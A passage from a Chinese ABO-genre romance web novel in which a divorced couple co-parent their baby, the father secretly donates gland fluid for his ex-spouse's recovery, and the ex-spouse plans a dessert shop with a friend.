年年就要闹,他想要鹿遥现在就得要。 年年哼哼唧唧就要哭,傅晏淮耐着性子把他抱起来,“不要打扰你爸爸。” 傅晏淮姿势别扭地扶着年年的脸,傅晏淮不仅比鹿遥凶巴巴还没有鹿遥抱着舒服,年年愤怒啃了一口傅晏淮的手。 傅晏淮拧眉看着自己手上的口水,他把年年放下让他靠着坐好。 “为什么随便咬人。” 傅晏淮面无表情盯着人看的时候还是很有攻击性的,年年委屈扁着嘴,他抽抽搭搭忍了两秒,还是忍不了,他仰起脸大哭起来。 文筝走过来的时候刚好赶上年年嚎啕大哭,她啧了一声怒从心起,“就让你看这么一会孩子,你都在干什么?” 年年呜呜哭着张开手,文筝刚蹲下身想把他抱起来,傅晏淮就制止了她。 “他刚刚咬人。” “他。”文筝呃了一声,原则上不能咬人,但年年还是个婴儿,“年年连牙都没长,你被他咬受伤了?” 傅晏淮挑眉,“是不是故意的我能分辨出来,做错事没必要纵容。” 文筝匪夷所思道,“你这么铁面无私,怎么不去做法官,做总裁真是委屈你了。” 年年看没有人理自己,他仰头哭得更大声了。 “你们太宠他了。”傅晏淮笃定道,“他有点任性。” 文筝理直气壮道,“因为他还是个小宝宝,而且他还在生病呢,我们对他有亏欠,当然要对他好一点了。” “这是两码事。”傅晏淮丝毫不动摇,“不能一直纵容他。” 年年哭得文筝不忍心,“行行行,那你说要怎么办。” 傅晏淮语气平稳,“等他冷静,哭累了自己就停下了。” 文筝闭眼长叹口气,“真是不是你生的就不心疼。” 年年好像意识到这次没有人哄自己,他哽咽着慢慢停下,红着眼睛鼻子可怜巴巴地看着两人说话的方向。 年年很难过地垂下头,抓住自己的脚抠自己的袜子,眼泪一颗颗砸下去。 文筝不客气地道,“你不让我哄,年年现在哭成这样,我看你怎么喝小鹿说。” 傅晏淮有点僵硬了,他仔细看着年年,“和以往看起来应该也没有太大差别吧。” 文筝冷笑一声,转身就走。 鹿遥上楼找年年的时候傅晏淮正努力想把年年抱起来,但年年坚决不肯,他扁着嘴含着眼泪,扭头看东看西就是不看傅晏淮。 傅晏淮看着年年聚满眼泪的大眼睛,心里忽然像过电一样又酸又麻。 年年的眼睛实在和鹿遥太像了。 “你…” 鹿遥推开门,原本他想问傅晏淮怎么耽误这么久,但很快他就看到年年沉默哭得伤心。 “年年?” 鹿遥还从来没有见过年年露出这样的表情,这么小的孩子哭得不出声,鹿遥立刻就慌了。 “宝宝,宝宝,爸爸抱抱,怎么了?” 年年愣愣看了鹿遥两秒,嘴巴越来越扁,最后终于忍不住,把脸埋在鹿遥脖子里一抽一抽小声哭了起来。 “这是怎么了?” 鹿遥真的有点吓到了,他仔细低头去看年年,“不舒服了吗?哪里难受?” 年年紧紧攥着鹿遥的衣领,傅晏淮伸手帮鹿遥调整了一下,鹿遥稍稍别开头。 傅晏淮默默把手收回去,“他没有不舒服。” 鹿遥抬眼看向他。 “是我。”傅晏淮有点不敢开口,“刚刚凶了他。” “你有病吧!” 鹿遥红着眼圈瞪他,“你对我不满意,凭什么撒气到孩子身上,年年有哪里招惹到你了吗?你就是这么做父亲的?” 傅晏淮垂下眼接受鹿遥的指责,他低声道,“他有点任性,不过也是我太严苛了。” “我没有对你不满意,是我没有考虑到你的想法,我以后不会再这样做了。” 鹿遥的火发到一半被浇灭,年年是隐隐有一点任性的趋势,昨晚他还在担心这件事。 “那是什么意思。”鹿遥抱紧年年,“我不让,你就不会这么教育年年了吗。” “年年是你的孩子,你不允许,我就不会做。” 鹿遥背对着傅晏淮,他盯着前面的门没有动。 “那,如果年年以后,变成了很任性的孩子的。” 年年委委屈屈地盯着傅晏淮,傅晏淮缓下声开口,“他的父亲是傅氏集团的掌权人,就算再任性,我也会给他托底的。” 鹿遥心里还是很沉重,但他不知道自己在不高兴什么。 “我不想要年年变成那样的孩子。”鹿遥喃喃,“我希望他有能力独当一面,可以不用太懂事,但要明事理。不管做什么都好,健康快乐就可以。” “那年年就这样长大。”傅晏淮的声音听着一如既往地沉稳,“他一定会的。” 鹿遥小声自语,“你怎么就知道。” 冠冕堂皇,嘴里没有一句实话,鹿遥不会再相信他了。 鹿遥侧过脸冷声道,“快点出来吧,去医院要来不及了。” 年年情绪不好,虽然没有再哭,但还是闷闷不乐的。鹿遥抱着年年一起去医院,年年化身肉墩墩的一小坨坐在鹿遥腿上。 医生蹲下身逗他,“看这边,抓上面那个羽毛,好。” 年年的发育情况比上个月好很多,医生要检查鹿遥的腺体,护士想把年年暂时放到一边,但年年当即抗议抓紧鹿遥。 “给我吧。” 傅晏淮弯腰俯身,鹿遥犹豫看着他。鹿遥怕检查起来撞到年年,他犹豫松开手。 年年还在生傅晏淮的气,鹿遥拍拍年年低声哄道,“先等一会,爸爸等一下就抱你。” 年年稍一迟疑就被傅晏淮抱走,他不可置信地扭头看着傅晏淮,“嗯嗯嗯??!” 傅晏淮弹了一下年年的屁股,“乖点。” 年年气得化身窝瓜,医生迅速检查腺体。 “的确对外界做出反应了。” 医生也有些惊喜,“这段时间不要过多刺激腺体,要小心保护,等腺体自然对外反应就好。” 鹿遥很高兴,“好,我会的。” 鹿遥起身把年年抱回来,傅晏淮趁着鹿遥和医生站在一起哄年年,他回头看了一眼,就沉默离开去配药。 这一次提取完腺体/液后,傅晏淮颈侧隐藏腺体的那片皮肤泛青。 医生蹙眉提醒他,“鹿先生恢复还需要至少一个月,这样下去,您自己的腺体恐怕会有些承受不了。” 傅晏淮淡淡嗯了一声,“那你有什么解决办法吗?” 医生没有,腺体是人体十分精密且复杂的仪器,人工药剂比不上真正的腺体/液。 “没关系,按照正常用量提取就好。” 就算坏了也没有关系,这是他欠鹿遥的。 第59章 第 59 章 创业 鹿遥的腺体好了一点, 具体表现在年年半夜惊醒哭泣的时候,鹿遥不需要再像以前那样哄那么久。 年年只需要乖乖在鹿遥身上趴一会就可以安静下来,前后不超过一个小时就可以再次入睡, 这着实让鹿遥松了口气。 尽管他还是没有在自己身上闻到信息素的味道,腺体除了那天有过一次反应之外也没有表现出任何异常。 鹿遥面前摆了一本童话故事书, 他抱着年年晃悠,“然后, 公主和王子一起过上了幸福的生活。” 这已经是第三遍了, 鹿遥小心翼翼低头看年年, 年年安安静静被小被子包起来躺在他怀里吃手指, 乌黑溜圆的大眼睛一眨不眨盯着鹿遥看。 鹿遥万分无奈, “真的不想睡吗?育婴师阿姨说你困了。” 鹿遥想把他放下来, “既然你不困,那爸爸就先出门了,好不好?” 年年眯起眼睛抓住鹿遥胸前的衣服, 他不想鹿遥把他放下来。 鹿遥耐心哄他, “爸爸真的有事, 不过很快就能回来,年年和奶油玩一会行吗?” 年年撅起嘴,手抓着衣服抓得更紧了。 鹿遥今天和夏时越约了一起出去看店铺, 夏时越铁了心要创建一个连锁品牌, 他要拉着鹿遥一起去大展宏图。 鹿遥有点抱累了,他走到一边坐下,“那让奶奶来?让奶奶抱?” 年年假装没有听见,被这样裹紧抱着非常舒服,年年不想从鹿遥怀里出去。 夏时越在门外敲门,他声音压得很低, “小鹿,年年睡了吗?” “还没有。”鹿遥无奈道,“年年好像不太困。” 夏时越把门推开,年年稍稍转动了一下眼珠去看夏时越,黑白分明十分无辜。 夏时越蹲下对年年道,“今天我和你爸爸约好了去选店,下午是我和小鹿的私人时间,你不要无理取闹。” 年年一声不吭转回去,把脸埋进鹿遥怀里。 “算了。”鹿遥抱着年年站起身,“我去找妈妈,麻烦她帮忙看一会。” 夏时越戳了一下年年的脸蛋,“小粘人精。” 鹿遥随口和夏时越闲聊,“年年好像重了一点,肉肉的。” 夏时越仔细观察了一下,他摸摸下巴,“好像是长大了一些些,但是不一直都是这样胖胖的。” 鹿遥想了一下,“好像是…” 除了最开始见到年年的那几天他状态不太好,之后回到京城年年就开始变重了。 文筝现在对奶油很宠爱,她梳起小狗脑门上的一撮毛毛扎起来,还戴了个粉红色的蝴蝶结小发卡。 奶油看见鹿遥就开始撒娇地发出嗯嗯声,文筝回头看到年年惊讶问道,“他怎么没睡?” 鹿遥把年年颠了一下在手里换个姿势,他胳膊有点酸,要抱不动了。 “一直不好好睡。”鹿遥苦恼地看看年年,“把育婴师折腾个遍。” 文筝拍拍奶油让它下去,“给我,你和小夏下午不是还要出去看店?快去吧,别耽误你们两个的事。” 鹿遥松了口气,“谢谢妈妈。” 年年察觉到鹿遥的动作抗议大叫,鹿遥迟疑下来,文筝先一步抱起年年,“去忙你的,这是耍赖呢。” 年年坐在文筝怀里不老实,他憋憋屈屈扁起嘴往鹿遥的方向拱。 文筝把年年抱着背过去,她指着地上的毛绒骨头玩具问年年,“那个是什么,看那个。” 鹿遥趁机和夏时越一起偷偷溜出去,两人寻速上车开车,夏时越忍不住感叹,“孩子真是越大越不好糊弄。” 鹿遥失笑,“年年也只五个月而已。” 夏时越却道,“虽然我只住了半个多月,但是我觉得养孩子真是太难了,也只有像你这样有耐心的人才能养好。” 年年现在有一个非常优渥的成长环境,虽然有育婴师团队和保姆,但鹿遥没有缺席年年的每一天,他依然尽可能亲力亲为照顾年年。鹿遥很耐心,傅际中和文筝又都撒钱撒得很痛快,对年年可以说有求必应。 傅晏淮,嗯,在偶尔需要的时候出现一下,年年肉眼可见地一天比一天明朗。 夏时越觉得一切都挺好,“我们一会可以顺便去逛逛商场,那家xx品牌上新了玩具,和小鹿玩具是一个牌子。” 鹿遥欣然答应,“好啊,那我们吃过晚饭再回去。” “既然我们是要创建连锁店铺,第一家门店选址就非常重要。”随着夏时越自己的店逐渐步入正轨,夏时越感到了生命无限的空虚,现在他又重新燃起激情,“我们就去市中心,最繁华的那个地段。” 鹿遥听得肝颤,“那会不会太贵了…” 夏时越当即道,“话不是这么说,合理的投资就是必要的。我们前期付出这些,后期回报肯定会更多。” 鹿遥委婉道,“我们先去问问价格,或许地点也不合适呢,我们多看几个。” 夏时越爽快道,“行,不要担心钱的事,现在除了零花钱之外店里也赚钱。投资,通通拿来投资。” 鹿遥觉得夏时越可能不是想要做出一个事业来证明自己,夏时越就是单纯地喜欢创业。 夏时越把车停好,走出停车场时迎面吹来一阵风,夏时越拉住鹿遥,“你觉不觉得这特别巧。” 鹿遥左右看看,“你看到认识的人了吗?” “不是。”夏时越满脸意气风发,“我闻到了成功的味道,走。” “这家店地点很好的,挨着商场步行街,只隔了一条道,年轻人购物逛街都喜欢来这。” 中介热情洋溢地给两人介绍,“步行街里的那家奶茶店天天排长队,这都排出去一百多号了。” 夏时越上下看看挑剔道,“地点也不算很好啊,而且会不会有点太小了。” 甜品店的后台操作间就要占一部分,前面店面,再加上收银… 中介当即道,“还有更大的,在对面,咱们去看看?” 鹿遥从进来这里就没有说话,他看着这条街有点眼熟。 等到中介在前面请他和夏时越过去前面,鹿遥终于意识到这是哪条步行街,步行街走出去是几座紧邻在一起高耸入云的高楼,其中有一栋是傅氏集团。 鹿遥不可控制地一瞬间想起从前那些,不算太美妙但又足够动人的记忆。 他站在店门外远远看着自己曾经工作过的甜品店,还有这一栋努力仰头才能看到顶层的高楼。 他曾经是真的喜欢傅晏淮,也真心实意为自己能和傅晏淮结婚而感到幸运。 现在… 鹿遥只是想把年年照顾好,就这样就可以了。 鹿遥也不知道‘就这样’是什么样,他调整了一下情绪跟着进店。 这个店铺的地理位置、大小、基础设施都没得挑,夏时越走了一圈也没法说出不满意。 他沉默站了一会最终开口,“都挺好的,就是有点晦气。” 中介大惊失色,“啊??” 夏时越瞥了一眼对面的傅氏集团干咳一声,他走到鹿遥身边低声问他,“这个你觉得怎么样?” 鹿遥抿了下唇,“其他的,是不是也都在这附近呢。” “好像是。”夏时越诚实道,“提要求的时候没想这么多。” “那就这里吧。”鹿遥想了想道,“既然都在这附近,那其实就差不多。这里还算在步行街内,还更热闹一点。” 夏时越沉吟片刻,“那我们也还是都看过一遍,或许会有更好的。” 鹿遥没有意见,他跟着仔细对比了今天来看的每一家,要么地点很偏,要么就是两家店中夹缝生存的一间很小的屋子,鹿遥也都觉得不太合适。 两人都比较属于刚刚的那个,不过没有立刻定下来。 刚好离步行街近,鹿遥和夏时越一起去吃晚饭。 “哪里都还好,就是价格实在太贵了。” 一年的租金对鹿遥来说已经是一笔无法想象的巨款,但夏时越竟然还想直接买下来。 “买下来的话我们成本可以节约不少的。”夏时越细细和鹿遥算账,“就算以后生意不好关店,我们还可以租出去,收租金,这个地段很好,不愁没人来租。” 就是天天一抬头看着傅氏集团有点糟心。 夏时越犹豫问道,“你真的觉得没事吗?在这里。” 鹿遥答得很平静,“傅晏淮很忙的。” 他每天都要工作到很晚,回家都是深夜,早上又很早出门。早中晚三餐都不是和鹿遥一起吃,回家也是很快就睡觉,要么就是处理文件。 而且他也不喜欢吃甜品,更不会亲自下楼来买东西,在这里碰到傅晏淮的概率大概和中彩票差不多。 夏时越也不好再多说,不过话题都已经进展到这里,他还是决定试探一下鹿遥的态度。 “那,你有没有想过以后的事,比如等你腺体彻底好了…” 鹿遥在翻菜单的手停顿下来,他声音很低地开口,“我不想原谅他。” “生产手术室很冷,我当时其实很害怕。年年出生后又没有哭,我也不知道该怎么办。” 鹿遥不想提太难过的事,他勉强笑笑,“现在他又说是他做错了,我只是觉得很荒唐,想不想在一起好像都只凭他自己的意愿,从来没有问过我。” 搞得现在一团乱麻,割舍又割舍不掉,京城有爱鹿遥的家人,文筝和傅际中对鹿遥当成自己的孩子一样对待。年年也在这里,这座城市又是鹿遥一直生活的地方。 夏时越也跟着担忧起来,“那这样的话,以后的发情期怎么办呢。” 鹿遥有点茫然,“不知道,我还没想过。” 傅晏淮用犬齿刺破他腺体注入信息素的感觉,鹿遥可能永远都不会忘记了。 “如果实在为难的话,就去做清洗手术吧。” 反正做omega也没什么好的。 第60章 第 60 章 留守alpha 8:36pm, 傅晏淮还没有从公司离开。 最近有个项目要收尾,傅晏淮在加紧把杂事处理完,明天是和鹿遥一起去医院的日子, 要差不多下午四点钟才能再回公司。 而且,回家也只是他自己一个人在书房, 和在公司没有差别。 又过了将近二十分钟,傅晏淮终于把电脑合上。他短暂放空两秒钟, 茶几上放着的晚饭已经凉了, 傅晏淮动了动脖子站起身, 站在傅氏集团最顶层的落地窗前往外看。 不知道鹿遥现在在做什么, 如果是以前, 这个时间傅晏淮会差不多赶回家, 鹿遥会在客厅沙发上等他回去。 但鹿遥自己一个人平常的生活,或者说,鹿遥这个时间真正想做的什么, 傅晏淮不知道。 如果是从前, 等傅晏淮回家就是鹿遥真心且翘首以盼想做的事, 但现在大约不再是了。 助理在外面敲门后进来,“资料都整理完了,这是各部门的汇总。” 傅晏淮懒得回头了, “放那吧。” 集团大老板每天工作废寝忘食, 打工人也不好意思正点下班,到现在傅氏集团的大楼依旧灯火通明。加班是常态,好在薪水足够丰厚。 助理却没有直接离开,他犹豫了一下开口道,“刚刚出去吃晚饭,好像看到了鹿先生。” 傅晏淮有些疑惑地转过身, “鹿遥?” 助理诚实道,“似乎是和夏小少爷一起选店。傅总,其实,这是您比较擅长的范围。” 助理说得含糊,但傅晏淮还是听出了他的言外之意,“你想让我帮鹿遥开店?” 助理委婉道,“这样鹿先生可以少走一些弯路,刚好这一阶段的项目结束,有一段时间可以休息,您也可以稍微调整一下。” 傅晏淮加班的时间越来越多,助理觉得他不仅仅是在工作,傅晏淮是在借着这种忙碌来让自己短暂忘记现实。傅晏淮的一日三餐和作息都很不规律,再加上频繁抽取腺体/液,从助理的视角来看,休息一段时间是必要的。 而且就算是只谈工作和孩子也可以增加两个人相处的时间,傅晏淮对待鹿遥很是束手束脚,助理真心实意地认为还不如像偶像剧霸总一样花钱砸满城烟花和花朵,这样都比现在不进不退的状态好。 傅晏淮沉默下来,事实上他现在也不知道该怎么做,太自作主张或许会让鹿遥觉得他和以前一样强势。但如果保持距离太远,鹿遥又顺理成章地不理会他。 “明天我们会一起去医院。”傅晏淮低声道,“或许我可以问问他需不需要我的帮助。” “您应该做点什么。”助理鼓励他,“追求复合是需要看行动的。” 傅晏淮抬眼反问,“你很有经验吗?” 助理轻咳一声,“没有。” 但助理觉得自己比傅晏淮情商还高一点。 傅晏淮没有兴趣和别人讨论自己不顺畅的追妻路,助理识趣地退出去,留下傅晏淮一个人继续对着窗外漫无目的地看风景。 鹿遥自己一个人的时间其实看起来会很枯燥,以前上学的时候就是到处兼职或者做老师布置的作业,退学后就是工作。 现在鹿遥也没有做什么特别有意思的事,这个时间年年还不困,鹿遥努力哄他睡觉。 今天下午鹿遥和文筝合起伙来蒙骗年年偷偷溜出去,年年单方面表示不满,鹿遥一回来年年就呜呜哭着委委屈屈要他抱。 鹿遥拿出新买的玩具,是一只和奶油很像的毛绒小狗,“年年看,是不是和奶油一模一样?” 年年瞪大眼睛好奇地伸手抓,鹿遥笑着放到他手里,“奶油刚刚看到这个玩具的时候打喷嚏了,真的很像。” 年年安静下来,他坐在鹿遥怀里举着小狗,一边玩一边拽鹿遥要他看着。 今天年年闹脾气,午睡的时间短,他玩了一会很快就困了。鹿遥把年年放到床上盖好小被子,轻轻拍着他。 “年年,你喜欢和你的父亲玩吗。” 傅晏淮大概也知道自己不想看见他,所以来陪年年都挑鹿遥不在的时候。 年年已经睡着了,他睡得十分安心,鹿遥的声音让他进入更沉的梦乡。 鹿遥苦笑一下,“离婚后共同抚养孩子也是个难题。” 鹿遥没再想太多,因为他想了也没用,他站起身关灯轻手轻脚离开房间。 鹿遥回到房间,夏时越躺在床上聚精会神地追剧,看到鹿遥进来他随口问道,“哄完年年睡觉了?” “嗯。”鹿遥从另一边爬上床,“育婴师去陪着了。” “明天你要去医院,等你回来我们再跑一趟,直接把门店定下算了。” 夏时越询问鹿遥的意见,“我们需不需要找一个专业团队?比如品牌设计构想,具体营业方案,精准定位客户人群…” 鹿遥思索着道,“我们可以先试着询问一些长辈的意见,比如夏叔叔,我觉得会比我们贸然自己找团队会更靠谱一些。” “不要啊。”夏时越垮下脸,“我爸事很多的,找了他我们就不能随心所欲地干了。” 鹿遥无奈道,“夏叔叔的确顾虑比较多,但他经验比较丰富,或者请他帮我们找团队?” 鹿遥觉得问问专业人士的意见也很不错,他和夏时越直接开的话失败概率很大。 “不。”夏时越斩钉截铁地拒绝,“那还不如直接找傅晏淮呢,论起成功经验,他在这方面更有话语权。” 傅晏淮上大学时自己创业就成功了,毕业没多久就接手这么大的集团,他经商天赋实在是一绝。 鹿遥愣住,他下意识拒绝,“傅晏淮?他很忙,公司的事情都…” “我早就觉得他应该补偿你一点什么。”夏时越把投影关掉,翻了个身在鹿遥旁边趴着和他认真分析,“不说别的,单论结婚生子,那个谁谁家新婚的omega你听说过吧,满月宴他的alpha直接送了他一块地。” 看鹿遥没什么反应,夏时越着重强调,“就算不是为了体贴你,为了你的身体和精神双重损伤,他帮个忙也是理所应当的。” 让他帮忙创个业怎么了,夏时越没想让傅晏淮倾家荡产就不错了。 鹿遥平躺在床上放空,“或许是这样的。” 鹿遥只是做不到如此坦荡,把一切都明码标价地来看待,如果他能够心平气和面对傅晏淮就好了。 鹿遥有点失眠,导致他第二天起晚,不太精神。 鹿遥坐进车里没多久就打了个呵欠,他半阖着眼往后靠着闭目养神。 “没有休息好吗。” 傅晏淮调了一下空调,“睡一会吧。” 鹿遥把头扭到一边,“一会就到医院了。” 傅晏淮被鹿遥拒绝,他也没有什么不高兴的反应。 车开了一会儿,傅晏淮确定鹿遥真的没有睡觉,他低头看了眼手上的策划案,到底还是和鹿遥开口。 “这是我昨晚临时定出的品牌规划,你可以看看。” 鹿遥睁开眼,扭头莫名其妙地看着他。 傅晏淮定定道,“你不是想和夏时越开店吗。” 鹿遥先停顿消化了两秒,随后他不太高兴地质问傅晏淮,“你怎么知道的?你去问妈妈了?” 傅晏淮总是表现得好像对他的生活了如指掌的样子,鹿遥觉得被冒犯了。 “没有。”傅晏淮捏紧策划案,但到底没有收回去,他坚持保持递出去的姿势若无其事道,“是昨晚,助理无意听到的。” 傅晏淮在鹿遥拒绝之前先一步开口,“我只是想做点什么。” 鹿遥身形僵硬,傅晏淮的声音慢慢低下去,“我不知道做什么能让你高兴一点,如果你不喜欢,我就不过问这件事。” 鹿遥沉默良久,“我不喜欢你不尊重我。” 他有点烦躁,但免费的策划案是无辜的,鹿遥最终还是接了过来。 鹿遥直白道,“我看不懂,用不用会和时越一起决定。谢谢你,不过以后我没开口你可以不用做这些,我不需要。” 尽管鹿遥的态度依旧很冷淡,但他至少收下了这份策划案,傅晏淮还是微微笑了笑。 “好,以后不会了。” 鹿遥收下,这份写到后半夜的策划案就有了意义。 傅晏淮没有觉得自己付出了什么,这是他很擅长的事。而且他现在本来睡眠时间也不长,既然睡不着,不如做一些鹿遥可能喜欢的东西。 鹿遥把策划案放好,傅晏淮就没有再开口说话,他沉默坐在座椅的另一端,和鹿遥保持着能让鹿遥安心的安全距离。 鹿遥闭上眼睛试图忘记刚才这件事,但他没有做到。鹿遥抿唇,侧头对傅晏淮想说什么,但目光触碰到傅晏淮身上却停住。 傅晏淮靠在椅背上看窗外,他注意到鹿遥的目光侧过头了。 傅晏淮很有耐心地问道,“怎么了,不舒服?” 鹿遥仓促别开眼,“没有。” 鹿遥无知觉地捏紧手里的策划案,是他的错觉吗,傅晏淮好像和以前有点不一样。 鹿遥已经很久没有仔细认真看过傅晏淮,刚刚的那一眼和他记忆中的傅晏淮有些差别。 傅晏淮好像脸色不太好?或许是因为瘦了? 鹿遥有些不确定起来,他是瘦了吗,还是哪里变了,为什么感觉有点奇怪。 傅晏淮的声音打断鹿遥的胡思乱想,“到了,下车吧。” 鹿遥下车后又忍不住多看了傅晏淮一眼,alpha依然和从前一样气盛难以接近,鹿遥抿了下唇,觉得可能是自己想多了。 自从那天鹿遥提过傅晏淮取药花了太多时间,这两次鹿遥都是在车里略坐坐傅晏淮就会下来。 但今天他又没有上车,傅晏淮站在车门外从车窗把药递给鹿遥,鹿遥迟疑接过,他说不上哪里不对,可他就是觉得怪怪的。 车重新启动,傅晏淮站在原地的身影很快消失不见,鹿遥收回目光,迟疑低下头。 他停顿良久后拿起纸袋里的诱导剂,透明的,无色无味。 鹿遥慢慢抬手按住自己的腺体,傅晏淮从前有贴过特殊型号的腺体贴吗? 为什么他颈侧那里的腺体贴面积那么大,鹿遥困惑起来,市场上没有这种腺体贴卖吧。【你现在阅读的是 】 60-70 第61章 第 61 章 策划案 鹿遥回到家后整个人就有点心不在焉的, 他坐在客厅地毯上让年年靠着自己坐,奶油在和年年玩。 “怎么回事,从医院回来看着反而状态不好了?” 夏时越一屁股在鹿遥旁边坐下, “怎么了?” 鹿遥侧头看向夏时越,他犹豫着开口, “没有,我没有不舒服, 我只是觉得有点奇怪。” 夏时越疑惑问道, “奇怪?哪里奇怪。” “是傅晏淮。”鹿遥欲言又止, “傅晏淮他有点奇怪。” 夏时越立刻警惕地一骨碌坐直, “什么意思, 怎么奇怪的, 是不是他和你说什么了?” 鹿遥看起来真的很困惑,但话在口中消化一遍,最终也只是变成一句不痛不痒的, “我觉得他好像和以前有点不一样。” 夏时越也跟着迷惑起来, 他仔细思考了一下鹿遥的这句话, 最终审慎道,“他可能是洗心革面了。” “不是。”鹿遥还是说不出傅晏淮具体哪里奇怪,“是其他的, 算了, 可能是我多心。” 年年听着两人的对话声仰起头,他伸手往上嗯嗯嗯地想要鹿遥把他抱起来。 鹿遥收声没再继续这个话题,他把年年抱起来,年年华丽出现在鹿遥和夏时越中间。 年年扭着脖子看看夏时越,又扭回来看着鹿遥。 夏时越有点想笑,“干什么, 你也想发表一点意见?” 年年搂住鹿遥的脖子抠他衣服前面的纽扣玩,鹿遥亲了亲年年的脸,年年雀跃地当场撒开手只顾得一直咯咯笑。 年年是一个黏人又活泼的胖宝宝,鹿遥看着他,内心逐渐平静下来。 两人又陪年年玩了一会才出门,夏时越和鹿遥感慨,“你真的是个好爸爸。” 鹿遥低声道,“我在以前还小的时候就想过,如果我有了孩子,一定会给他所有的爱。后来长大了一点,忘记了曾经有过这个想法。” 夏时越接话道,“再后来你就有年年了。” 鹿遥笑笑,“是的。” 小时候很羡慕鹿千星可以在关清露面前撒娇,鹿遥到关清露面前,她从来都只有不满和训斥。 鹿遥不会让年年也这样的,年年一定会快快乐乐地长大。 夏时越和鹿遥最终还是选择了傅氏集团对面的那个店铺,他们即将有很多事情要忙,两人坐在还没装修的店里一起看傅晏淮的那份策划案。 夏时越挑剔地翻到最后一页又翻回来,他略带嫌弃地合上,“真是傅晏淮做的?他自己做的,不是什么助理部门下属替他做的?” 鹿遥也不知道,“谁做的都一样,如果好我们就用,不好的话就还是找夏叔叔问问看。” 夏时越有了一个好主意,“我就说是我做的,拿给我爸看看。” 夏时越把它拿起来,他理直气壮地道,“让我爸评价肯定很中肯,我也不会冒名顶替这个。” 鹿遥没有不同意,他一瞬间有点愣神。 傅晏淮是很骄傲的性格,这样拿着他的东西去请其他人评价,他知道了应该会不高兴。 “鹿遥?”夏时越伸手在他眼前晃晃,“想什么呢。” 鹿遥有些迟疑,“不然还是给爸爸看吧。” 夏时越没有想到鹿遥会这样说,“傅伯伯?也行。” 鹿遥拿回策划案的神色又有些懊恼,夏时越默默确定傅晏淮一定是做了什么,鹿遥的表现很反常。 “我们先回去吧,文阿姨说今晚她亲自炖汤,我们别在外面吃了。” 鹿遥点点头,他和夏时越一前一后走出店门,鹿遥无意识仰头看了看傅氏集团的最高层,那里是傅晏淮的办公室。 今天那里反常地一片漆黑,没有开灯。 鹿遥不由愣住,他上车的时候傅晏淮对他说,公司还有事,不和他坐一辆车回去了。 可是傅晏淮现在不在办公室里,他没有回公司。 傅晏淮骗他?为什么。 鹿遥不明白现在还有什么值得傅晏淮大费周章地隐瞒他,鹿遥迷惑地喃喃,“难道是回家了吗。” 夏时越走出去两步又折返回来,他仔细看了看鹿遥的脸色,“小鹿,你到底怎么了。” 夏时越神情严肃,“傅晏淮到底和你说什么了,你从医院回来就一直魂不守舍的。” “他什么也没有说。”鹿遥心中的古怪越放越大,他嘴唇抿了又抿,“傅晏淮好像有事故意在瞒着我。” 夏时越眼神陡然锐利,“他偷人了?” 鹿遥思忖片刻,“这件事应该不用这样大费周章。” 他们都已经离婚了,傅晏淮想和谁在一起鹿遥没有权利干涉。 夏时越拉住鹿遥,“走,我们先回去。” 两人回去的时候还不到晚饭时间,鹿遥心里很乱。 夏时越把卧室门关上,他坐在床上盯着鹿遥。 “今天你们去医院都做了什么,你仔细和我说说。” 鹿遥回忆着道,“从早上开始,他就有点奇怪,他的样子和以前有点不太一样,好像更凶了一点,但又好像不是。” 夏时越听得一头雾水。 鹿遥继续思考,“然后他去拿药,他拿完药好像故意想和我隔开一段距离,药是从车窗外递给我的。他说公司有事要先走,但是刚刚,他的办公室没有开灯。” 夏时越彻底沉默下来,他摸摸下巴,“似乎是有点不对,但是你也先别想太多,或许他就是单纯处理完工作提前回家了。” 鹿遥的后颈又有点不舒服,他抬手摸了摸,“这样吗。” “不然一会吃饭,你问问文阿姨。”夏时越接着道,“她肯定知道怎么回事。” 鹿遥眼神瞬间变得清澈起来,“是哦。” 与其在这里纠结,还不如去问问妈妈,她肯定知道傅晏淮在忙什么。 “傅晏淮?” 文筝给鹿遥舀了一勺汤,她有些惊讶地问道,“小鹿怎么突然想起问他了。” 鹿遥接过汤碗,“谢谢妈妈,只是觉得他最近好像很忙。” 文筝坐下先试探问了他,“是他又惹你不高兴了?” “真的不是。”鹿遥冷不丁这样一提起傅晏淮很别扭,他含糊道,“随便问问。” 文筝看了一眼傅际中,傅际中假装没收到文筝的眼神,他侧身把年年的婴儿座椅拉近,“来,年年,陪爷爷吃饭,我们吃饭喽。” 文筝又不悦移开眼,“最近公司是有个项目,但已经差不多结束了,要说工作的话,忙应该是不忙。” “哦,这样。” 可鹿遥还是无法忽视心底的异样感,他忍不住又多问一句,“那其他的呢,他有没有什么,异常的地方。” 文筝疑惑道,“这…应该也是没有的。” 傅晏淮不像是能有事的样子,不过文筝还是上了点心,她笑着对鹿遥道,“先吃饭,尝尝妈妈做的汤好不好喝。” 鹿遥也察觉到自己的失态,他掩饰地低头喝了一口,鹿遥抬起头眼睛亮亮地对文筝道,“妈妈做的汤好好喝。” 文筝宠溺看着鹿遥,“吃吧。” 夏时越在鹿遥旁边接着道,“傅伯伯,我这有一份策划案,能不能麻烦您帮我和小鹿看看啊。” 傅际中欣然同意,“可以啊,在哪里,拿来我看看。不错啊小越,老夏总夸你上进,果真是这样。” 夏时越当即道,“就在这呢,这里。” 夏时越chua一下把策划案不知道从哪里掏出来,年年嘴里咬着奶嘴嚼嚼嚼,盯着那份策划案从夏时越手中拿到傅际中手里。 文筝嗔怪道,“吃饭呢还弄这些。” 傅际中看奶嘴动来动去很可爱,他笑呵呵捏了一下年年的脸,“看什么,这个你可看不懂,等长大了爷爷教你。” 年年好奇看着策划案一页一页翻过去,鹿遥对着故事书讲睡前故事的时候书也是这样翻动的。 傅际中刚刚翻开的时候笑容还很慈爱,但等他仔细看了第一页,脸上表情就有些高深莫测了。 傅晏淮的风格很难被模仿,他一眼就认出这样的规划方式是傅晏淮安排的。 傅际中看到最后,他试探问道,“这是,小越你写的?” “不是。”夏时越诚实道,“是一位热心市民友情赞助的,傅伯伯,这个策划案怎么样啊?” 傅际中沉吟道,“虽然比较粗糙,看着不是很细致,不过大方向的安排是合理的。你们已经找好店铺了?” 夏时越点点头,“对,我们选在金融中心圈的那条商业步行街那。” 傅际中更微妙了,他调整了一下坐姿,“那里不错,不错的。” 听起来离傅氏集团很近啊,难道是傅晏淮找的店? 餐桌上一时沉默下来,只有年年一边嚼嚼嚼一边试图拿到那个策划案。 年年一直乱扭,鹿遥把他扶着坐正,“你什么都不能吃,乖乖坐好。” 年年哼哼唧唧地抗议,傅际中哄他,“哦哟,想吃好吃的了?你太小了,不能吃,爷爷抱抱好不好?” 